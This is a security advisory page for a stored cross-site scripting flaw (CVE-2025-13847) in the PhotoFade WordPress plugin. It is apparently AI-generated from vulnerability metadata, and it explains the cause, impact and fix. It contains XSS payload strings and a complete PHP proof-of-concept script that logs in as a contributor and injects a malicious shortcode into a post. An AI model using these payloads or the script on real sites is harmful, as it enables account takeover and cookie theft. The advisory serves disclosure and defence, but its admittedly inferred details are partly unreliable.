Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-13847: PhotoFade <= 0.2.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (photofade)

Plugin photofade
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 0.2.1
Patched Version
Disclosed January 5, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-13847 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the PhotoFade WordPress plugin. Attackers with Contributor-level or higher permissions can inject arbitrary JavaScript via the ‘time’ shortcode attribute. The injected scripts execute in the context of a victim’s browser when they view a page containing the malicious shortcode.

Atomic Edge research infers the root cause is insufficient input sanitization and output escaping on the ‘time’ shortcode attribute. The plugin likely registers a shortcode handler that directly echoes or unsafely prints user-supplied attribute values without proper escaping. This is a classic CWE-79 violation. The analysis is based on the CWE classification and vulnerability description, as the source code is unavailable for confirmation.

Exploitation requires an authenticated user with at least Contributor privileges. The attacker creates or edits a post or page, inserting the PhotoFade shortcode with a malicious ‘time’ attribute. A payload like `time=”0 onmouseover=alert(document.domain)”` or `time=’0′>alert(1)` could be used. The exact payload depends on the HTML context where the attribute is rendered. The script executes for any user viewing the compromised content.

Remediation requires implementing proper output escaping. The plugin must escape the ‘time’ attribute value before outputting it into the HTML document context. WordPress functions like `esc_attr()` should be used for attribute contexts. Input sanitization should also be applied, but output escaping is the primary defense for XSS. A patch would involve modifying the shortcode callback function.

Successful exploitation leads to stored XSS. Attackers can steal session cookies, perform actions as the victim user, deface sites, or redirect users to malicious locations. The impact is limited by the victim’s permissions. An admin victim could have their account fully compromised, leading to site takeover. The CVSS score of 6.4 reflects the medium attack complexity and scope change.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13847 - PhotoFade <= 0.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
// Configuration
$target_url = 'https://example.com/wp-login.php';
$username = 'contributor';
$password = 'password';
$post_id = 123; // ID of a post the contributor can edit

// Payload: XSS via the 'time' shortcode attribute. This is a basic proof-of-concept payload.
// The exact context (e.g., attribute value, unquoted) is inferred from typical shortcode implementations.
$malicious_shortcode = '[photofade time="0" onmouseover="alert(document.domain)"]';

// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing only

// Step 1: Authenticate to WordPress
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
$response = curl_exec($ch);

// Step 2: Retrieve the post edit page to obtain a nonce (assumed requirement)
$edit_url = "https://example.com/wp-admin/post.php?post={$post_id}&action=edit";
curl_setopt($ch, CURLOPT_URL, $edit_url);
curl_setopt($ch, CURLOPT_POST, false);
$response = curl_exec($ch);

// In a real scenario, we would parse the HTML to find the nonce for updating the post.
// This PoC assumes the nonce is named '_wpnonce' and is found in the form.
// For brevity, we simulate extracting a nonce. A real exploit would use DOM parsing.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';

if (empty($nonce)) {
    echo "Could not retrieve nonce. Authentication may have failed or page structure differs.n";
    exit;
}

// Step 3: Update the post content with the malicious shortcode
$update_data = array(
    'content' => $malicious_shortcode,
    'post_ID' => $post_id,
    '_wpnonce' => $nonce,
    '_wp_http_referer' => urlencode("/wp-admin/post.php?post={$post_id}&action=edit"),
    'action' => 'editpost',
    'save' => 'Update'
);
curl_setopt($ch, CURLOPT_URL, 'https://example.com/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($update_data));
$response = curl_exec($ch);

if (strpos($response, 'Post updated.') !== false) {
    echo "Success: Post updated with malicious shortcode. Visit the post to trigger XSS.n";
} else {
    echo "Potential failure updating post. Check permissions and nonce.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School